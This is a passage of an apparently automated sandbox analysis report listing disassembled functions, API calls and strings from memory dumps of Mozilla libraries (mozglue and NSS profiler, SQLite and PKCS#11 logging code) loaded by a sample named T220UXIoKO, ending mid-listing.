strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C70CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C70CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C70CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C70CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C70CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C70CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C70CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C70CE8A

Strings

Unrecognized feature "%s"., xrefs: 6C70CEA0
unregisteredthreads, xrefs: 6C70CE58
power, xrefs: 6C70CE84
fileioall, xrefs: 6C70CCA8
screenshots, xrefs: 6C70CCD4
nativeallocations, xrefs: 6C70CDA8
processcpu, xrefs: 6C70CE6E
cpuallthreads, xrefs: 6C70CE16
jsallocations, xrefs: 6C70CD0E
samplingallthreads, xrefs: 6C70CE2C
markersallthreads, xrefs: 6C70CE42
java, xrefs: 6C70CC37
nostacksampling, xrefs: 6C70CD7C
stackwalk, xrefs: 6C70CCF8
default, xrefs: 6C70CC21
ipcmessages, xrefs: 6C70CDBE
fileio, xrefs: 6C70CC92
audiocallbacktracing, xrefs: 6C70CDD4
noiostacks, xrefs: 6C70CCBE
leaf, xrefs: 6C70CC66
preferencereads, xrefs: 6C70CD92
mainthreadio, xrefs: 6C70CC7C
seqstyle, xrefs: 6C70CCE6
notimerresolutionchange, xrefs: 6C70CE00

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 53095b8788664e025618167f9bcbd9265cc314b6b056cd1e28a5fac97584f750
Instruction ID: 31c4608101abf0d07ce37f85feb279c64ac3d35e6fea8f9d9c544b32f4f706c8
Opcode Fuzzy Hash: 53095b8788664e025618167f9bcbd9265cc314b6b056cd1e28a5fac97584f750
Instruction Fuzzy Hash: C151B7C2B4563552FA003115AF1ABAA14C9EF6324BF10653AED0EA5F81FF05A709C7B7

Function 6C6D4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6D4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6D44B2,6C74E21C,6C74F7F8), ref: 6C6D473E
Part of subcall function 6C6D4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C6D474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6D44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6D44D2
InitOnceExecuteOnce.KERNEL32(6C74F80C,6C6CF240,?,?), ref: 6C6D451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C6D455C
LoadLibraryW.KERNEL32(?), ref: 6C6D4592
InitializeCriticalSection.KERNEL32(6C74F770), ref: 6C6D45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6D45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6D45BB
InitOnceExecuteOnce.KERNEL32(6C74F818,6C6CF240,?,?), ref: 6C6D4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C6D4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C6D4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C6D466D
VerSetConditionMask.NTDLL ref: 6C6D469F
VerSetConditionMask.NTDLL ref: 6C6D46AB
VerSetConditionMask.NTDLL ref: 6C6D46B2
VerSetConditionMask.NTDLL ref: 6C6D46B9
VerSetConditionMask.NTDLL ref: 6C6D46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6D46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6D46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6D46FD

Strings

l, xrefs: 6C6D4578
WRusr.dll, xrefs: 6C6D44B5
Gtl, xrefs: 6C6D44FC
kernel32.dll, xrefs: 6C6D44CD
user32.dll, xrefs: 6C6D4557, 6C6D463F
NativeNtBlockSet_Write, xrefs: 6C6D46F7

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gtl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-2699975829
Opcode ID: 6224c9dde0a50449480b0c7c234a495bf436586915b878d6f4fbefeb62b304d2
Instruction ID: 6bfd29d05e12145b989d783e756c73c1d71e52b37bd63ef7bc0dfeb858bafee0
Opcode Fuzzy Hash: 6224c9dde0a50449480b0c7c234a495bf436586915b878d6f4fbefeb62b304d2
Instruction Fuzzy Hash: DA6125B0604348AFEB11AF61CD09BA97BBCEB4630CF05C16AE5089B641D7B4AE44CF95

Function 6C8B6E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C76CA30: EnterCriticalSection.KERNEL32(?,?,?,6C7CF9C9,?,6C7CF4DA,6C7CF9C9,?,?,6C79369A), ref: 6C76CA7A
Part of subcall function 6C76CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C76CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C77BE66), ref: 6C8B6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C77BE66), ref: 6C8B6E98
sqlite3_snprintf.NSS3(?,00000000,6C91AAF9,?,?,?,?,?,?,6C77BE66), ref: 6C8B6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C77BE66), ref: 6C8B6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C77BE66), ref: 6C8B6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C77BE66), ref: 6C8B6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C77BE66), ref: 6C8B6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C77BE66), ref: 6C8B6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C77BE66), ref: 6C8B6FA6
sqlite3_snprintf.NSS3(?,00000000,6C91AAF9,00000000,?,?,?,?,?,?,?,6C77BE66), ref: 6C8B6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C77BE66), ref: 6C8B6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C77BE66), ref: 6C8B6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C77BE66), ref: 6C8B7014
sqlite3_free.NSS3(00000000,?,?,?,?,6C77BE66), ref: 6C8B701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C77BE66), ref: 6C8B7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C77BE66), ref: 6C8B705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C77BE66), ref: 6C8B7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C77BE66), ref: 6C8B7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C77BE66), ref: 6C8B70A0

Strings

winGetTempname5, xrefs: 6C8B7071
winGetTempname2, xrefs: 6C8B70C4
winGetTempname4, xrefs: 6C8B7046
winGetTempname1, xrefs: 6C8B708F
mz_etilqs_, xrefs: 6C8B6F18

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 8e06fa0994432401d02af01233f9478bafc46e1653af12a352ae7b7d30c14558
Instruction ID: c729c99432457056ceda4faf60e69b6e5f6cdc921aab0befc190238436b71f26
Opcode Fuzzy Hash: 8e06fa0994432401d02af01233f9478bafc46e1653af12a352ae7b7d30c14558
Instruction Fuzzy Hash: 14517BB2A0421157E72456349D59FBB366A9F92348F144938E815A7FC1FF35A80F82E3

Function 6C844FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7F75C2,00000000,00000000,00000001), ref: 6C845009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7F75C2,00000000), ref: 6C845049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C84505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C845071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C845089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8450A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C8450B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7F75C2), ref: 6C8450CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C8450D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C8450F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C845103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C84511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C84512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C845145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C845153
free.MOZGLUE(?), ref: 6C84516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C84517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C845195

Strings

config=, xrefs: 6C84509B
name=, xrefs: 6C845057
nss=, xrefs: 6C845083
library=, xrefs: 6C845043
parameters=, xrefs: 6C84506B

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 289f5b6db47be404ee8ab03b1e9758132481b9adb6e6002020dd3c850c46b80b
Instruction ID: b430fba0aa666492c915798a01ecd552704c3b2e8e51710d0d9fe0bfe3fe3055
Opcode Fuzzy Hash: 289f5b6db47be404ee8ab03b1e9758132481b9adb6e6002020dd3c850c46b80b
Instruction Fuzzy Hash: 5351BBB5A0131E9BEB21DF24DE41AAF37A89F06248F144830EC59E7741E735E915C7B2

Function 6C818E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C818E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C818EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C818EB3

Part of subcall function 6C8FD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8FD963

PR_LogPrint.NSS3(?,00000000), ref: 6C818EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C818EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C818F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C818F29
PR_LogPrint.NSS3(?,00000000), ref: 6C818F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C818F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C818F80
PR_LogPrint.NSS3(?,00000000), ref: 6C818F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C818FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C818FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C819047

Strings

hWrappingKey = 0x%x, xrefs: 6C818F01, 6C818F11
*pulWrappedKeyLen = 0x%x, xrefs: 6C819042
C_WrapKey, xrefs: 6C818E71
pWrappedKey = 0x%p, xrefs: 6C818FAD
hSession = 0x%x, xrefs: 6C818E8E, 6C818E9E
pMechanism = 0x%p, xrefs: 6C818EE0
(CK_INVALID_HANDLE), xrefs: 6C818EAC, 6C818F1F, 6C818F79
hKey = 0x%x, xrefs: 6C818F5B, 6C818F6B
pulWrappedKeyLen = 0x%p, xrefs: 6C818FC8

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: cabfb0e50a4b6124cad53b4a072a0fbd1a54b6b8de298e6f5963d83c85336d64
Instruction ID: f80ae451785b986920a9f16c315da2ba5d116a8bed223458b899c55f5b4b2af3
Opcode Fuzzy Hash: cabfb0e50a4b6124cad53b4a072a0fbd1a54b6b8de298e6f5963d83c85336d64
Instruction Fuzzy Hash: 8651C431A09109EFDB209F589E49F9A37F6BB4631CF058836F508A7E12D730D919CB92

Function 6C844C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C834F51,00000000), ref: 6C844C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C834F51,00000000), ref: 6C844C5B
PR_smprintf.NSS3(6C91AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C834F51,00000000), ref: 6C844C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C834F51,00000000), ref: 6C844CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C844CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C844CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C844D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C834F51,00000000), ref: 6C844D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C834F51,00000000), ref: 6C844D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C844D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C844DA2
free.MOZGLUE(?), ref: 6C844DB9
free.MOZGLUE(00000000), ref: 6C844DCF

Strings

ootT, xrefs: 6C844D1A
any, xrefs: 6C844C96
rust, xrefs: 6C844D22
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C844D9D
slotFlags, xrefs: 6C844D34
%s,%s, xrefs: 6C844C4B
every, xrefs: 6C844CA1
0x%08lx=[%s %s], xrefs: 6C844D80
timeout, xrefs: 6C844C91
rootFlags, xrefs: 6C844D47

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 3a7bbe461455ac481b7643d0d7b64fce1737147a44276a4a974c338b1fb865be
Instruction ID: 1c75d916810c0335ce28e264744d5d92a416b335bb64ef81341615dcb1841249
Opcode Fuzzy Hash: 3a7bbe461455ac481b7643d0d7b64fce1737147a44276a4a974c338b1fb865be
Instruction Fuzzy Hash: 9A418AB190014D6BDB329F189D45BBB3A65AFC2349F198538E81A4BB01E735D914C7D3

Function 6C822D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C822DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C822E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C822E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C822E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C7F4F1C,?,-00000001,00000000,?), ref: 6C822E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C7F4F1C,?,-00000001,00000000), ref: 6C822E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C822EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C822EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C822EF8
PR_Unlock.NSS3(?), ref: 6C822F62
TlsGetValue.KERNEL32 ref: 6C822F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C822F9E
PR_Unlock.NSS3(?), ref: 6C822FCA
TlsGetValue.KERNEL32 ref: 6C82301A
EnterCriticalSection.KERNEL32(?), ref: 6C82302E
PR_Unlock.NSS3(?), ref: 6C823066
PR_SetError.NSS3(00000000,00000000), ref: 6C823085
PR_Unlock.NSS3(?), ref: 6C8230EC
TlsGetValue.KERNEL32 ref: 6C82310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C823124
PR_Unlock.NSS3(?), ref: 6C82314C

Part of subcall function 6C809180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C83379E,?,6C809568,00000000,?,6C83379E,?,00000001,?), ref: 6C80918D
Part of subcall function 6C809180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C83379E,?,6C809568,00000000,?,6C83379E,?,00000001,?), ref: 6C8091A0

Part of subcall function 6C7D07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C76204A), ref: 6C7D07AD
Part of subcall function 6C7D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C76204A), ref: 6C7D07CD
Part of subcall function 6C7D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C76204A), ref: 6C7D07D6
Part of subcall function 6C7D07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C76204A), ref: 6C7D07E4
Part of subcall function 6C7D07A0: TlsSetValue.KERNEL32(00000000,?,6C76204A), ref: 6C7D0864
Part of subcall function 6C7D07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C7D0880
Part of subcall function 6C7D07A0: TlsSetValue.KERNEL32(00000000,?,?,6C76204A), ref: 6C7D08CB
Part of subcall function 6C7D07A0: TlsGetValue.KERNEL32(?,?,6C76204A), ref: 6C7D08D7
Part of subcall function 6C7D07A0: TlsGetValue.KERNEL32(?,?,6C76204A), ref: 6C7D08FB

PR_SetError.NSS3(00000000,00000000), ref: 6C82316D

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 4034db6cea45be8ac4b2b59870a2f4801d88a1180808a68792099c84bf80b4c8
Instruction ID: d6f6f807fa4e378c1c73a54f54a138abd72ea24d6e75ee5e17739ce1da75249c
Opcode Fuzzy Hash: 4034db6cea45be8ac4b2b59870a2f4801d88a1180808a68792099c84bf80b4c8
Instruction Fuzzy Hash: 22F1ADB5D002089FDF20EF68D948A9DBBB8BF09318F144969EC04A7711E738E995CBD1

Function 6C81AF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C81AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C81AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C81AF83

Part of subcall function 6C8FD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8FD963

PR_LogPrint.NSS3(?,00000000), ref: 6C81AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C81AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C81AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C81AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C81B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C81B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C81B041

Strings

pData = 0x%p, xrefs: 6C81AFEF
ulDataLen = %d, xrefs: 6C81B00A
pSignature = 0x%p, xrefs: 6C81B023
hSession = 0x%x, xrefs: 6C81AF5E, 6C81AF6E
ulParameterLen = 0x%p, xrefs: 6C81AFD4
pParameter = 0x%p, xrefs: 6C81AFB9
C_SignMessage, xrefs: 6C81AF41
(CK_INVALID_HANDLE), xrefs: 6C81AF7C
pulSignatureLen = 0x%p, xrefs: 6C81B03C

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: b5f65df87b70d5fa2ae4ff2ec3d917911e175cbce483d52037c82d31ebee5137
Instruction ID: 660e711c2fc01af5d53143af850243e069bcf2a5d55be161de163988b1ab2256
Opcode Fuzzy Hash: b5f65df87b70d5fa2ae4ff2ec3d917911e175cbce483d52037c82d31ebee5137
Instruction Fuzzy Hash: 4E41E275609105EFDB20AF58DE48E993BF1BB4631DF188834E918A7B12D730D918CBA2

Function 6C826CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C826910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C826943
Part of subcall function 6C826910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C826957
Part of subcall function 6C826910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C826972
Part of subcall function 6C826910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C826983
Part of subcall function 6C826910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C8269AA
